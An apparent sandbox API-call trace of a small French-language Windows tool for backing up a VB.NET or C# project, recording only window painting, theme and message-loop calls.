GetNearestColor (hdc=0x6a010733, color=0xa0a0a0) returned 0xa0a0a0 [0231.517] GetNearestColor (hdc=0x6a010733, color=0x0) returned 0x0 [0231.517] GetNearestColor (hdc=0x6a010733, color=0xffffff) returned 0xffffff [0231.517] GetNearestColor (hdc=0x6a010733, color=0xe5e5e5) returned 0xe5e5e5 [0231.517] GetNearestColor (hdc=0x6a010733, color=0xd7d7d7) returned 0xd7d7d7 [0231.517] GetNearestColor (hdc=0x6a010733, color=0x0) returned 0x0 [0231.517] RestoreDC (hdc=0x6a010733, nSavedDC=-1) returned 1 [0231.517] GdipReleaseDC (graphics=0x4ae5320, hdc=0x6a010733) returned 0x0 [0231.517] IsAppThemed () returned 0x1 [0231.517] GetThemeAppProperties () returned 0x3 [0231.517] GetThemeAppProperties () returned 0x3 [0231.517] IsAppThemed () returned 0x1 [0231.517] GetThemeAppProperties () returned 0x3 [0231.517] GetThemeAppProperties () returned 0x3 [0231.517] DrawTextExW (in: hdc=0xb0101e5, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be43c, format=0x2415, lpdtp=0x2538b98 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be43c) returned 13 [0231.518] IsAppThemed () returned 0x1 [0231.518] GetThemeAppProperties () returned 0x3 [0231.518] GetThemeAppProperties () returned 0x3 [0231.518] IsAppThemed () returned 0x1 [0231.518] GetThemeAppProperties () returned 0x3 [0231.518] GetThemeAppProperties () returned 0x3 [0231.518] GetFocus () returned 0x0 [0231.518] IsAppThemed () returned 0x1 [0231.518] GetThemeAppProperties () returned 0x3 [0231.518] GetThemeAppProperties () returned 0x3 [0231.518] IsAppThemed () returned 0x1 [0231.518] GetThemeAppProperties () returned 0x3 [0231.518] GetThemeAppProperties () returned 0x3 [0231.518] IsThemePartDefined () returned 0x1 [0231.518] IsAppThemed () returned 0x1 [0231.518] GetThemeAppProperties () returned 0x3 [0231.518] GetThemeAppProperties () returned 0x3 [0231.518] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0231.518] IsAppThemed () returned 0x1 [0231.518] GetThemeAppProperties () returned 0x3 [0231.518] GetThemeAppProperties () returned 0x3 [0231.518] IsAppThemed () returned 0x1 [0231.518] GetThemeAppProperties () returned 0x3 [0231.518] GetThemeAppProperties () returned 0x3 [0231.518] IsThemePartDefined () returned 0x1 [0231.518] GdipCreateRegion (region=0x2be484) returned 0x0 [0231.518] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0231.518] GdipCreateMatrix (matrix=0x2be484) returned 0x0 [0231.518] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0231.518] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be49c) returned 0x0 [0231.518] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd348 [0231.518] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd348) returned 0x0 [0231.518] LocalFree (hMem=0x5fd348) returned 0x0 [0231.518] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd348 [0231.518] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd348) returned 0x0 [0231.519] LocalFree (hMem=0x5fd348) returned 0x0 [0231.519] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0231.519] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4c4) returned 0x0 [0231.519] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4b4) returned 0x0 [0231.519] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be4b4) returned 0x0 [0231.519] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0231.519] GdipGetDC (graphics=0x4ae5320, hdc=0x2be4cc) returned 0x0 [0231.519] GetCurrentObject (hdc=0x6a010733, type=0x1) returned 0x1b00017 [0231.519] GetCurrentObject (hdc=0x6a010733, type=0x2) returned 0x1900010 [0231.519] GetCurrentObject (hdc=0x6a010733, type=0x7) returned 0x210506ba [0231.519] GetCurrentObject (hdc=0x6a010733, type=0x6) returned 0x18a002e [0231.519] SaveDC (hdc=0x6a010733) returned 1 [0231.519] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x4b0401eb [0231.519] GetClipRgn (hdc=0x6a010733, hrgn=0x4b0401eb) returned 0 [0231.519] SelectClipRgn (hdc=0x6a010733, hrgn=0x4d040789) returned 2 [0231.519] DeleteObject (ho=0x4b0401eb) returned 1 [0231.519] DeleteObject (ho=0x4d040789) returned 1 [0231.519] OffsetViewportOrgEx (in: hdc=0x6a010733, x=0, y=0, lppt=0x2539248 | out: lppt=0x2539248) returned 1 [0231.519] DrawThemeParentBackground () returned 0x0 [0231.519] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be240 | out: lpwndpl=0x2be240) returned 1 [0231.519] GetClientRect (in: hWnd=0x40150, lpRect=0x2be1ec | out: lpRect=0x2be1ec) returned 1 [0231.519] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0231.519] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0231.519] GetSystemMetrics (nIndex=42) returned 0 [0231.520] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be07c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0231.520] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be07c) returned 0x23 [0231.520] GetClientRect (in: hWnd=0x40150, lpRect=0x2be0f4 | out: lpRect=0x2be0f4) returned 1 [0231.520] GetCurrentObject (hdc=0x6a010733, type=0x1) returned 0x1b00017 [0231.520] GetCurrentObject (hdc=0x6a010733, type=0x2) returned 0x1900010 [0231.520] GetCurrentObject (hdc=0x6a010733, type=0x7) returned 0x210506ba [0231.520] GetCurrentObject (hdc=0x6a010733, type=0x6) returned 0x18a002e [0231.520] SaveDC (hdc=0x6a010733) returned 2 [0231.520] GetNearestColor (hdc=0x6a010733, color=0xf0f0f0) returned 0xf0f0f0 [0231.520] CreateSolidBrush (color=0xf0f0f0) returned 0x2e1006a2 [0231.520] FillRect (hDC=0x6a010733, lprc=0x2bdf94, hbr=0x2e1006a2) returned 1 [0231.520] DeleteObject (ho=0x2e1006a2) returned 1 [0231.520] RestoreDC (hdc=0x6a010733, nSavedDC=-1) returned 1 [0231.520] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0231.520] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0231.520] GetSystemMetrics (nIndex=42) returned 0 [0231.520] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0231.520] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0231.520] GetClientRect (in: hWnd=0x40150, lpRect=0x2be094 | out: lpRect=0x2be094) returned 1 [0231.520] GetCurrentObject (hdc=0x6a010733, type=0x1) returned 0x1b00017 [0231.520] GetCurrentObject (hdc=0x6a010733, type=0x2) returned 0x1900010 [0231.520] GetCurrentObject (hdc=0x6a010733, type=0x7) returned 0x210506ba [0231.520] GetCurrentObject (hdc=0x6a010733, type=0x6) returned 0x18a002e [0231.520] SaveDC (hdc=0x6a010733) returned 2 [0231.521] GetNearestColor (hdc=0x6a010733, color=0xf0f0f0) returned 0xf0f0f0 [0231.521] CreateSolidBrush (color=0xf0f0f0) returned 0x2f1006a2 [0231.521] FillRect (hDC=0x6a010733, lprc=0x2bdf34, hbr=0x2f1006a2) returned 1 [0231.521] DeleteObject (ho=0x2f1006a2) returned 1 [0231.521] RestoreDC (hdc=0x6a010733, nSavedDC=-1) returned 1 [0231.521] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0231.521] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0231.521] GetSystemMetrics (nIndex=42) returned 0 [0231.521] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0231.521] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0231.521] RestoreDC (hdc=0x6a010733, nSavedDC=-1) returned 1 [0231.521] GdipReleaseDC (graphics=0x4ae5320, hdc=0x6a010733) returned 0x0 [0231.521] IsAppThemed () returned 0x1 [0231.521] GetThemeAppProperties () returned 0x3 [0231.521] GetThemeAppProperties () returned 0x3 [0231.521] IsAppThemed () returned 0x1 [0231.521] GetThemeAppProperties () returned 0x3 [0231.521] GetThemeAppProperties () returned 0x3 [0231.521] IsThemePartDefined () returned 0x1 [0231.521] GdipCreateRegion (region=0x2be428) returned 0x0 [0231.521] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0231.521] GdipCreateMatrix (matrix=0x2be428) returned 0x0 [0231.521] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0231.521] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be440) returned 0x0 [0231.521] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd348 [0231.521] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd348) returned 0x0 [0231.521] LocalFree (hMem=0x5fd348) returned 0x0 [0231.522] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd348 [0231.522] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd348) returned 0x0 [0231.522] LocalFree (hMem=0x5fd348) returned 0x0 [0231.522] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0231.522] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be468) returned 0x0 [0231.522] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be458) returned 0x0 [0231.522] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be458) returned 0x0 [0231.522] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0231.522] GdipGetDC (graphics=0x4ae5320, hdc=0x2be470) returned 0x0 [0231.522] GetCurrentObject (hdc=0x6a010733, type=0x1) returned 0x1b00017 [0231.522] GetCurrentObject (hdc=0x6a010733, type=0x2) returned 0x1900010 [0231.522] GetCurrentObject (hdc=0x6a010733, type=0x7) returned 0x210506ba [0231.522] GetCurrentObject (hdc=0x6a010733, type=0x6) returned 0x18a002e [0231.522] SaveDC (hdc=0x6a010733) returned 1 [0231.522] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x4e040789 [0231.522] GetClipRgn (hdc=0x6a010733, hrgn=0x4e040789) returned 0 [0231.522] SelectClipRgn (hdc=0x6a010733, hrgn=0x4d0401eb) returned 2 [0231.522] DeleteObject (ho=0x4e040789) returned 1 [0231.522] DeleteObject (ho=0x4d0401eb) returned 1 [0231.522] OffsetViewportOrgEx (in: hdc=0x6a010733, x=0, y=0, lppt=0x2539c80 | out: lppt=0x2539c80) returned 1 [0231.522] IsAppThemed () returned 0x1 [0231.522] GetThemeAppProperties () returned 0x3 [0231.522] GetThemeAppProperties () returned 0x3 [0231.522] DrawThemeBackground () returned 0x0 [0231.522] RestoreDC (hdc=0x6a010733, nSavedDC=-1) returned 1 [0231.522] GdipReleaseDC (graphics=0x4ae5320, hdc=0x6a010733) returned 0x0 [0231.522] GdipCreateRegion (region=0x2be410) returned 0x0 [0231.522] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0231.523] GdipCreateMatrix (matrix=0x2be410) returned 0x0 [0231.523] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0231.523] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be428) returned 0x0 [0231.523] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd348 [0231.523] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd348) returned 0x0 [0231.523] LocalFree (hMem=0x5fd348) returned 0x0 [0231.523] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd348 [0231.523] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd348) returned 0x0 [0231.523] LocalFree (hMem=0x5fd348) returned 0x0 [0231.523] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0231.523] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be450) returned 0x0 [0231.523] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be440) returned 0x0 [0231.523] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be440) returned 0x0 [0231.523] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0231.523] GdipGetDC (graphics=0x4ae5320, hdc=0x2be458) returned 0x0 [0231.523] GetCurrentObject (hdc=0x6a010733, type=0x1) returned 0x1b00017 [0231.523] GetCurrentObject (hdc=0x6a010733, type=0x2) returned 0x1900010 [0231.523] GetCurrentObject (hdc=0x6a010733, type=0x7) returned 0x210506ba [0231.523] GetCurrentObject (hdc=0x6a010733, type=0x6) returned 0x18a002e [0231.523] SaveDC (hdc=0x6a010733) returned 1 [0231.523] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x4e0401eb [0231.523] GetClipRgn (hdc=0x6a010733, hrgn=0x4e0401eb) returned 0 [0231.523] SelectClipRgn (hdc=0x6a010733, hrgn=0x4f040789) returned 2 [0231.523] DeleteObject (ho=0x4e0401eb) returned 1 [0231.523] DeleteObject (ho=0x4f040789) returned 1 [0231.523] OffsetViewportOrgEx (in: hdc=0x6a010733, x=0, y=0, lppt=0x2539f54 | out: lppt=0x2539f54) returned 1 [0231.523] IsAppThemed () returned 0x1 [0231.523] GetThemeAppProperties () returned 0x3 [0231.523] GetThemeAppProperties () returned 0x3 [0231.524] GetThemeBackgroundContentRect () returned 0x0 [0231.524] RestoreDC (hdc=0x6a010733, nSavedDC=-1) returned 1 [0231.524] GdipReleaseDC (graphics=0x4ae5320, hdc=0x6a010733) returned 0x0 [0231.524] IsAppThemed () returned 0x1 [0231.524] GetThemeAppProperties () returned 0x3 [0231.524] GetThemeAppProperties () returned 0x3 [0231.524] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be588) returned 0x0 [0231.524] GdipGetDC (graphics=0x4ae5320, hdc=0x2be574) returned 0x0 [0231.524] GetCurrentObject (hdc=0x6a010733, type=0x1) returned 0x1b00017 [0231.524] GetCurrentObject (hdc=0x6a010733, type=0x2) returned 0x1900010 [0231.524] GetCurrentObject (hdc=0x6a010733, type=0x7) returned 0x210506ba [0231.524] GetCurrentObject (hdc=0x6a010733, type=0x6) returned 0x18a002e [0231.524] SaveDC (hdc=0x6a010733) returned 1 [0231.524] GetTextAlign (hdc=0x6a010733) returned 0x0 [0231.524] GetTextColor (hdc=0x6a010733) returned 0x0 [0231.524] GetCurrentObject (hdc=0x6a010733, type=0x6) returned 0x18a002e [0231.524] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be27c | out: pv=0x2be27c) returned 92 [0231.524] SelectObject (hdc=0x6a010733, h=0x90a01e9) returned 0x18a002e [0231.524] GetBkMode (hdc=0x6a010733) returned 2 [0231.524] SetBkMode (hdc=0x6a010733, mode=1) returned 2 [0231.524] DrawTextExW (in: hdc=0x6a010733, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be350, format=0x2415, lpdtp=0x253a2e8 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be350) returned 13 [0231.524] DrawTextExW (in: hdc=0x6a010733, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be508, format=0x2015, lpdtp=0x253a2e8 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be508) returned 13 [0231.525] RestoreDC (hdc=0x6a010733, nSavedDC=-1) returned 1 [0231.525] GdipReleaseDC (graphics=0x4ae5320, hdc=0x6a010733) returned 0x0 [0231.525] GetFocus () returned 0x0 [0231.525] IsAppThemed () returned 0x1 [0231.525] GetThemeAppProperties () returned 0x3 [0231.525] GetThemeAppProperties () returned 0x3 [0231.525] GdipGetDC (graphics=0x4ae5320, hdc=0x2be754) returned 0x0 [0231.525] BitBlt (hdc=0x701068c, x=0, y=0, cx=163, cy=29, hdcSrc=0x6a010733, x1=0, y1=0, rop=0xcc0020) returned 1 [0231.566] GdipReleaseDC (graphics=0x4ae5320, hdc=0x6a010733) returned 0x0 [0231.566] SelectPalette (hdc=0x701068c, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0231.566] SelectObject (hdc=0x6a010733, h=0x185000f) returned 0x210506ba [0231.566] DeleteDC (hdc=0x6a010733) returned 1 [0231.566] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0231.566] EndPaint (hWnd=0x1019c, lpPaint=0x2be6f8) returned 1 [0231.566] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0231.566] IsWindowUnicode (hWnd=0x20152) returned 1 [0231.566] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0231.566] TranslateMessage (lpMsg=0x2bec18) returned 0 [0231.566] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0231.566] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0231.566] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0231.566] WaitMessage () returned 1 [0231.732] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0231.732] IsWindowUnicode (hWnd=0x1019e) returned 1 [0231.732] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0231.732] TranslateMessage (lpMsg=0x2bec18) returned 0 [0231.733] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0231.733] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0231.733] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0231.733] WaitMessage () returned 1 [0235.430] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0235.431] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0235.431] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0235.482] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be8b0 | out: lpwndpl=0x2be8b0) returned 1 [0235.482] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0235.483] GetClientRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0235.483] GetWindowRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0235.483] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0235.483] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0xd, wParam=0x104, lParam=0x48edb8) returned 0x0 [0235.483] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1c, wParam=0x1, lParam=0x568) returned 0x0 [0235.483] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x1c, wParam=0x1, lParam=0x568) returned 0x0 [0235.483] NtdllDefWindowProc_W () returned 0x0 [0235.483] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0235.489] GetFocus () returned 0x0 [0235.489] SetFocus (hWnd=0x1019c) returned 0x0 [0235.489] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0235.489] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0235.489] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0235.490] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0235.490] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0235.490] GetStockObject (i=5) returned 0x1900015 [0235.490] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0235.490] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0xd, wParam=0x1a, lParam=0x562700) returned 0x19 [0235.490] GetDlgItem (hDlg=0x40150, nIDDlgItem=65948) returned 0x1019c [0235.490] SendMessageW (hWnd=0x1019c, Msg=0x202b, wParam=0x1019c, lParam=0x2be2f8) returned 0x0 [0235.490] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x202b, wParam=0x1019c, lParam=0x2be2f8) returned 0x0 [0235.490] InvalidateRect (hWnd=0x1019c, lpRect=0x0, bErase=0) returned 1 [0235.490] IsWindowUnicode (hWnd=0x1019c) returned 1 [0235.490] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0235.490] TranslateMessage (lpMsg=0x2bec18) returned 0 [0235.490] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0235.490] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0235.490] IsWindowUnicode (hWnd=0x1019c) returned 1 [0235.490] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0235.490] GetKeyState (nVirtKey=16) returned 0 [0235.490] GetKeyState (nVirtKey=17) returned 0 [0235.490] GetKeyState (nVirtKey=18) returned -127 [0235.491] TranslateMessage (lpMsg=0x2bec18) returned 1 [0235.491] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0235.491] GetKeyState (nVirtKey=16) returned 0 [0235.491] GetKeyState (nVirtKey=17) returned 0 [0235.491] GetKeyState (nVirtKey=18) returned -127 [0235.491] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0235.491] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0235.491] IsWindowUnicode (hWnd=0x1019c) returned 1 [0235.491] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0235.491] GetKeyState (nVirtKey=16) returned 0 [0235.491] GetKeyState (nVirtKey=17) returned 0 [0235.491] GetKeyState (nVirtKey=18) returned 1 [0235.491] TranslateMessage (lpMsg=0x2bec18) returned 1 [0235.491] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0235.491] GetKeyState (nVirtKey=16) returned 0 [0235.491] GetKeyState (nVirtKey=17) returned 0 [0235.491] GetKeyState (nVirtKey=18) returned 1 [0235.491] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0 [0235.491] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0235.491] IsWindowUnicode (hWnd=0x1019c) returned 1 [0235.491] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0235.491] TranslateMessage (lpMsg=0x2bec18) returned 0 [0235.491] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0235.491] BeginPaint (in: hWnd=0x1019c, lpPaint=0x2be6fc | out: lpPaint=0x2be6fc) returned 0x60106b7 [0235.491] SelectPalette (hdc=0x60106b7, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0235.491] CreateCompatibleDC (hdc=0x60106b7) returned 0x210106c4 [0235.491] SelectObject (hdc=0x210106c4, h=0x210506ba) returned 0x185000f [0235.491] GdipCreateFromHDC (hdc=0x210106c4, graphics=0x2be714) returned 0x0 [0235.491] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0235.491] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0235.491] GdipCreateMatrix (matrix=0x2be75c) returned 0x0 [0235.491] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0235.491] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be774) returned 0x0 [0235.491] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd348 [0235.491] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd348) returned 0x0 [0235.492] LocalFree (hMem=0x5fd348) returned 0x0 [0235.492] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0235.492] GdipCreateRegion (region=0x2be75c) returned 0x0 [0235.492] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0235.492] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be768) returned 0x0 [0235.492] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be794) returned 0x0 [0235.492] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfd990dbd) returned 0x0 [0235.492] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0235.492] GdipGetDC (graphics=0x4ae5320, hdc=0x2be580) returned 0x0 [0235.492] GetCurrentObject (hdc=0x210106c4, type=0x1) returned 0x1b00017 [0235.492] GetCurrentObject (hdc=0x210106c4, type=0x2) returned 0x1900010 [0235.492] GetCurrentObject (hdc=0x210106c4, type=0x7) returned 0x210506ba [0235.492] GetCurrentObject (hdc=0x210106c4, type=0x6) returned 0x18a002e [0235.492] SaveDC (hdc=0x210106c4) returned 1 [0235.492] GetNearestColor (hdc=0x210106c4, color=0xf0f0f0) returned 0xf0f0f0 [0235.492] GetNearestColor (hdc=0x210106c4, color=0xa0a0a0) returned 0xa0a0a0 [0235.492] GetNearestColor (hdc=0x210106c4, color=0x696969) returned 0x696969 [0235.492] GetNearestColor (hdc=0x210106c4, color=0xa0a0a0) returned 0xa0a0a0 [0235.492] GetNearestColor (hdc=0x210106c4, color=0x0) returned 0x0 [0235.492] GetNearestColor (hdc=0x210106c4, color=0xffffff) returned 0xffffff [0235.492] GetNearestColor (hdc=0x210106c4, color=0xe5e5e5) returned 0xe5e5e5 [0235.492] GetNearestColor (hdc=0x210106c4, color=0xd7d7d7) returned 0xd7d7d7 [0235.492] GetNearestColor (hdc=0x210106c4, color=0x0) returned 0x0 [0235.492] RestoreDC (hdc=0x210106c4, nSavedDC=-1) returned 1 [0235.493] GdipReleaseDC (graphics=0x4ae5320, hdc=0x210106c4) returned 0x0 